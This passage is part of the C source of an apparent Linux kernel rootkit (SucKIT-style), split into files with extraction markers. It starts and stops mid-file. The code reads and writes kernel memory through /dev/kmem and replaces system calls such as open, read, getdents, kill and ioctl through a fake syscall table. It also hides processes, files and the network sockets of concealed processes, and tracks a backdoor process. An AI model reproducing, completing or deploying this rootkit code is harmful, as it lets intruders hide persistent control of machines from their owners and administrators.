/* uhh, nice replacement of libc ;) */
int     _start(char *argv, ...)
{
       char    *arg_ptrs[MAX_ARGS];
       char    *p = argv;
       int     i = 0;
       va_list ap;

       va_start(ap, argv);
       do {
               arg_ptrs[i] = p;
               p = va_arg(ap, char *);
               i++;
               if (i == MAX_ARGS) break;
       } while (p);

       _exit(main(i, arg_ptrs));
}
#endif
<--> ./src/main.c
<++> ./src/kernel.c
/* $Id: hook.c, kernel related stuff (read, write and so on)  */

#ifndef KERNEL_C
#define KERNEL_C

/* stuff directly related with kernel */
#include "suckit.h"

#include "string.c"
#include "io.c"

/* simple inlines to r/w stuff from/to kernel memory */

/* read data from kmem */
static inline int rkm(int fd, int offset, void *buf, int size)
{
       if (lseek(fd, offset, 0) != offset) return 0;
       if (read(fd, buf, size) != size) return 0;
       return size;
}

/* write data to kmem */
static inline int wkm(int fd, int offset, void *buf, int size)
{
       if (lseek(fd, offset, 0) != offset) return 0;
       if (write(fd, buf, size) != size) return 0;
       return size;
}

/* read int from kmem */
static inline int rkml(int fd, int offset, ulong *buf)
{
       return rkm(fd, offset, buf, sizeof(ulong));
}

/* write int to kmem */
static inline int wkml(int fd, int offset, ulong buf)
{
       return wkm(fd, offset, &buf, sizeof(ulong));
}


/* relocate given image */
int     img_reloc(void *img, ulong *reloc_tab, ulong reloc)
{
       int     count = 0;

       /* relocate image */
       while (*reloc_tab != 0xFFFFFFFF) {
               skd("Relocating %x at %x",
                       * (ulong *) (((ulong) (img)) + *reloc_tab),
                       (((ulong) (img)) + *reloc_tab));
               * (ulong *) (((ulong) (img)) + *reloc_tab) += reloc;
               skd(" result=%x\n",
                       * (ulong *) (((ulong) (img)) + *reloc_tab));
               reloc_tab++;
               count++;
       }
       return count;
}

#endif
<--> ./src/kernel.c
<++> ./src/string.c
/* $Id: string.c, modified linus' vsprintf.c, thanx to him, whatever */

#ifndef STRING_C
#define STRING_C

#include "str.h"

char * ___strtok;

int strnicmp(const char *s1, const char *s2, unsigned len)
{
       unsigned char c1, c2;

       c1 = 0; c2 = 0;

       if (len) {
               do {
                       c1 = *s1; c2 = *s2;
                       s1++; s2++;
                       if (!c1)
                               break;
                       if (!c2)
                               break;
                       if (c1 == c2)
                               continue;
                       c1 &= c1 & 0xDF;
                       c2 &= c2 & 0xDF;
                       if (c1 != c2)
                               break;
               } while (--len);
       }

       return (int)c1 - (int)c2;
}


inline char * strcpy(char * dest,const char *src)
{
       char *tmp = dest;

       while ((*dest++ = *src++) != '\0');

       return tmp;
}

inline char * strncpy(char * dest,const char *src,unsigned count)
{
       char *tmp = dest;

       while (count-- && (*dest++ = *src++) != '\0');

       return tmp;
}

inline char * strcat(char * dest, const char * src)
{
       char *tmp = dest;

       while (*dest)
               dest++;
       while ((*dest++ = *src++) != '\0');

       return tmp;
}

inline char * strncat(char *dest, const char *src, unsigned count)
{
       char *tmp = dest;

       if (count) {
               while (*dest)
                       dest++;
               while ((*dest++ = *src++)) {
                       if (--count == 0) {
                               *dest = '\0';
                               break;
                       }
               }
       }

       return tmp;
}

inline int strcmp(const char * cs,const char * ct)
{
       register signed char __res;

       while (1) {
               if ((__res = *cs - *ct++) != 0 || !*cs++)
                       break;
       }

       return __res;
}

inline int strncmp(const char * cs,const char * ct,unsigned count)
{
       register signed char __res = 0;

       while (count) {
               if ((__res = *cs - *ct++) != 0 || !*cs++)
                       break;
               count--;
       }

       return __res;
}

char * strchr(const char * s, int c)
{
       for(; *s != (char) c; ++s)
               if (*s == '\0')
                       return NULL;
       return (char *) s;
}

char * strrchr(const char * s, int c)
{
      const char *p = s + strlen(s);
      do {
          if (*p == (char)c)
              return (char *)p;
      } while (--p >= s);
      return NULL;
}

unsigned strlen(const char * s)
{
       const char *sc;

       for (sc = s; *sc != '\0'; ++sc)
               /* nothing */;
       return sc - s;
}

unsigned strnlen(const char * s, unsigned count)
{
       const char *sc;

       for (sc = s; count-- && *sc != '\0'; ++sc)
               /* nothing */;
       return sc - s;
}

unsigned strspn(const char *s, const char *accept)
{
       const char *p;
       const char *a;
       unsigned count = 0;

       for (p = s; *p != '\0'; ++p) {
               for (a = accept; *a != '\0'; ++a) {
                       if (*p == *a)
                               break;
               }
               if (*a == '\0')
                       return count;
               ++count;
       }

       return count;
}

char * strpbrk(const char * cs, const char * ct)
{
       const char *sc1,*sc2;

       for( sc1 = cs; *sc1 != '\0'; ++sc1) {
               for( sc2 = ct; *sc2 != '\0'; ++sc2) {
                       if (*sc1 == *sc2)
                               return (char *) sc1;
               }
       }
       return NULL;
}

char * strtok(char * s,const char * ct)
{
       char *sbegin, *send;

       sbegin  = s ? s : ___strtok;
       if (!sbegin) {
               return NULL;
       }
       sbegin += strspn(sbegin,ct);
       if (*sbegin == '\0') {
               ___strtok = NULL;
               return( NULL );
       }
       send = strpbrk( sbegin, ct);
       if (send && *send != '\0')
               *send++ = '\0';
       ___strtok = send;
       return (sbegin);
}

char * strsep(char **s, const char *ct)
{
       char *sbegin = *s, *end;

       if (sbegin == NULL)
               return NULL;

       end = strpbrk(sbegin, ct);
       if (end)
               *end++ = '\0';
       *s = end;

       return sbegin;
}

inline void * memset(void * s,int c,unsigned count)
{
       char *xs = (char *) s;

       while (count--)
               *xs++ = c;

       return s;
}

inline void bzero(void *s, unsigned count)
{
       memset(s, 0, count);
}

char * bcopy(const char * src, char * dest, int count)
{
       char *tmp = dest;

       while (count--)
               *tmp++ = *src++;

       return dest;
}

inline void * memcpy(void * dest,const void *src,unsigned count)
{
       char *tmp = (char *) dest, *s = (char *) src;

       while (count--)
               *tmp++ = *s++;

       return dest;
}

inline void * memmove(void * dest,const void *src,unsigned count)
{
       char *tmp, *s;

       if (dest <= src) {
               tmp = (char *) dest;
               s = (char *) src;
               while (count--)
                       *tmp++ = *s++;
               }
       else {
               tmp = (char *) dest + count;
               s = (char *) src + count;
               while (count--)
                       *--tmp = *--s;
               }

       return dest;
}

int memcmp(const void * cs,const void * ct,unsigned count)
{
       const unsigned char *su1, *su2;
       signed char res = 0;

       for( su1 = cs, su2 = ct; 0 < count; ++su1, ++su2, count--)
               if ((res = *su1 - *su2) != 0)
                       break;
       return res;
}

void * memscan(void * addr, int c, unsigned size)
{
       unsigned char * p = (unsigned char *) addr;

       while (size) {
               if (*p == c)
                       return (void *) p;
               p++;
               size--;
       }
       return (void *) p;
}

char * strstr(const char * s1,const char * s2)
{
       int l1, l2;

       l2 = strlen(s2);
       if (!l2)
               return (char *) s1;
       l1 = strlen(s1);
       while (l1 >= l2) {
               l1--;
               if (!memcmp(s1,s2,l2))
                       return (char *) s1;
               s1++;
       }
       return NULL;
}

void * memmem(char *s1, int l1, char *s2, int l2)
{
       if (!l2) return s1;
       while (l1 >= l2) {
               l1--;
               if (!memcmp(s1,s2,l2))
                       return s1;
               s1++;
       }
       return NULL;
}

void *memchr(const void *s, int c, unsigned n)
{
       const unsigned char *p = s;
       while (n-- != 0) {
               if ((unsigned char)c == *p++) {
                       return (void *)(p-1);
               }
       }
       return NULL;
}
#endif
<--> ./src/string.c
<++> ./src/core.c
/* $Id: core.c, mainly our syscalls */

#ifndef CORE_C
#define CORE_C

#include <stdarg.h>
#include <linux/unistd.h>
#include <asm/ptrace.h>
#include <asm/mman.h>
#include <asm/errno.h>
#include <asm/stat.h>
#include <linux/if.h>


#include "suckit.h"
#include "string.c"
#include "vsprintf.c"
#include "io.c"

/* ehrm, ,,exports'' ;)) */
extern  ulong   page_offset;
extern  ulong   syscall_dispatch;
extern  ulong   old_call_table;

/* set this to 1 if u wanna to debug something, don't forget
  to change addr of printk (cat /proc/ksyms | grep printk) */
#if 0
int (*printk) (char *fmt, ...) = (void *) 0xc0113710;
#define crd(fmt,args...) printk(__FUNCTION__ "():" fmt "\n", args)
#else
#define crd(fmt,args...) while (0) {}
#endif


#define mmap_arg ((struct mmap_arg_struct *) \
                 (page_offset - sizeof(struct mmap_arg_struct)) )

/* new_XXX & old_XXX pair for some syscall */
#define ds(type,name,args...) type new_##name(args); \
                             type (*old_##name)(args)
/* only old_XXX def in order to import some syscall) */
#define is(type,name,args...) type (*old_##name)(args)

/* syscall defs */
ds(int, olduname,       char *);
ds(int, fork,           struct pt_regs);
ds(int, clone,          struct pt_regs);
ds(int, open,           char *, int, int);
ds(int, close,          int);
ds(int, read,           int, char *, uint);
ds(int, kill,           int, int);
ds(int, getdents,       uint, struct de *, int count);
ds(int, getdents64,     uint, struct de64 *, int count);
ds(int, ioctl,          uint, uint, ulong);

/* import various syscall to avoid using int 0x80 from syscall handlers */
is(int, stat,           char *, struct stat *);
is(int, fstat,          int, struct stat *);
is(void *, mmap,        struct mmap_arg_struct *);
is(int, munmap,         ulong, uint);
is(int, getpid,         void);
is(int, readdir,        uint, struct de *, uint);
is(int, readlink,       char *, char *, uint);
is(int, lseek,          int, int, int);


/* syscall replacement table (requiered by hook.c) */
#define repsc(x)        {__NR_##x, (void *) new_##x, (void **) &old_##x},
#define impsc(x)        {__NR_##x, (void *) NULL, (void **) &old_##x},
struct  new_call        new_sct[] = {
       repsc(olduname)
       repsc(fork)
       repsc(clone)
       repsc(open)
       repsc(close)
       repsc(read)
       repsc(kill)
       repsc(getdents)
       repsc(getdents64)
       repsc(ioctl)
       impsc(stat)
       impsc(fstat)
       impsc(mmap)
       impsc(munmap)
       impsc(getpid)
       impsc(readdir)
       impsc(readlink)
       impsc(lseek)
       {0}
};

/* our fake sys_call_table[] ;) */
ulong   sys_call_table[SYS_COUNT];

/* our table of hidden pid's */
struct  pid_struc pid_tab[MAX_PID];

/* "bad" files ;) */
int     bdev = -1, bad1 = -1, bad2 = -1, bad3 = -1;

/* our flags */
ulong   our_flags = CMD_FLAG_HP | CMD_FLAG_HF;
int     backdoor_pid = 0;

struct  config_struc    cfg = {"CFGMAGIC", ".sd", "", ""};

#define HIDE_FILES      (our_flags & CMD_FLAG_HF)
#define HIDE_PROCS      (our_flags & CMD_FLAG_HP)

/* replacement of olduname, allocates some memory in kernel space */
int     punk(struct kma_struc *k)
{
       k->mem = k->kmalloc(k->size, k->flags);
       return 0;
}

/***************************** helper fn's ********************* */
uint    my_atoi(char *n)
{
       register uint ret = 0;
       while ((((*n) < '0') || ((*n) > '9')) && (*n))
               n++;
       while ((*n) >= '0' && (*n) <= '9')
               ret = ret * 10 + (*n++) - '0';
       return ret;
}


/* u-alloc, 'u' stands for 'ugly' ;) */
void   *ualloc(ulong size)
{
       void   *ret;
       struct mmap_arg_struct  msave;

       while (mmap_arg->lock == MM_LOCK);
       memcpy(&msave, mmap_arg, sizeof(struct mmap_arg_struct));
       mmap_arg->lock = MM_LOCK;
       mmap_arg->addr = 0;
       mmap_arg->len = (PAGE_SIZE + size - 1) & ~PAGE_SIZE;
       mmap_arg->prot = PAGE_RW;
       mmap_arg->flags = MAP_PRIVATE | MAP_ANONYMOUS;
       mmap_arg->fd = 0;
       mmap_arg->offset = 0;
       ret = old_mmap(mmap_arg);
       memcpy(mmap_arg, &msave, sizeof(struct mmap_arg_struct));
       if ((ulong) ret > 0xffff0000)
               return NULL;
       return ret;
}

static inline void    ufree(void *ptr, ulong size)
{
       if (ptr) {
               old_munmap((ulong) ptr,
                          (PAGE_SIZE + size - 1) & ~PAGE_SIZE);
       }
}

/* basic fn's */
static inline struct pid_struc *find_pid(int pid)
{
       int     i;
       for (i = 0; i < MAX_PID; i++) {
               if (pid_tab[i].pid == pid)
                       return &pid_tab[i];
       }
       return NULL;
}



struct pid_struc *add_pid(int pid)
{
       struct  pid_struc *p = find_pid(pid);
       int     i;
       if (p) {
               return p;
       } else {
               for (i = 0; i < MAX_PID; i++) {
                       if (!pid_tab[i].pid) {
                               bzero((char *) &pid_tab[i],
                                     sizeof(struct pid_struc));
                               pid_tab[i].pid = pid;
                               return &pid_tab[i];
                       }
               }
       }
       return NULL;
}

static inline struct pid_struc *hide_pid(int pid)
{
       struct  pid_struc *p = add_pid(pid);
       if (p) {
               p->hidden = 1;
       }
       crd("%d = 0x%x", pid, p);
       return p;
}


struct pid_struc *del_pid(int pid)
{
       struct  pid_struc *p = find_pid(pid);
       if (p) p->pid = 0;
       return p;
}

int unhide_pid(int pid)
{
       int     i;
       if (pid == 0) {
               for (i = 0; i < MAX_PID; i++) {
                       del_pid(pid_tab[i].pid);
               }
               return 1;
       }
       return (del_pid(pid) != NULL);
}


void    sync_pid_tab(void)
{
       int     i;
       /* remove unused entries in order to avoid to become full */
       for (i = 0; i < MAX_PID; i++) {
               if ((pid_tab[i].pid) &&
                   (old_kill(pid_tab[i].pid, 0) == -ESRCH)) {
                       bzero((char *) &pid_tab[i],
                             sizeof(struct pid_struc));
               }
       }
}

static inline struct pid_struc *curr_pid(void)
{
       return find_pid(old_getpid());
}

/* this creates table ("cache") of sockets owned by invisible processes */
int     create_net_tab(int *tab, int max, struct de *de, char *buf)
{
       int     i;
       int     fd;
       int     cnt = 0;

       crd("tab=0x%x, max=%d, de=0x%x, buf=0x%x", tab, max, de, buf);
       for (i = 0; i < MAX_PID; i++) {
               if (pid_tab[i].pid && pid_tab[i].hidden) {
                       char   *zptr;
                       zptr = buf +
                              sprintf(buf, "/proc/%d/fd", pid_tab[i].pid);
                       crd("buf=%s (0x%x), zptr=0x%x", buf, buf, zptr);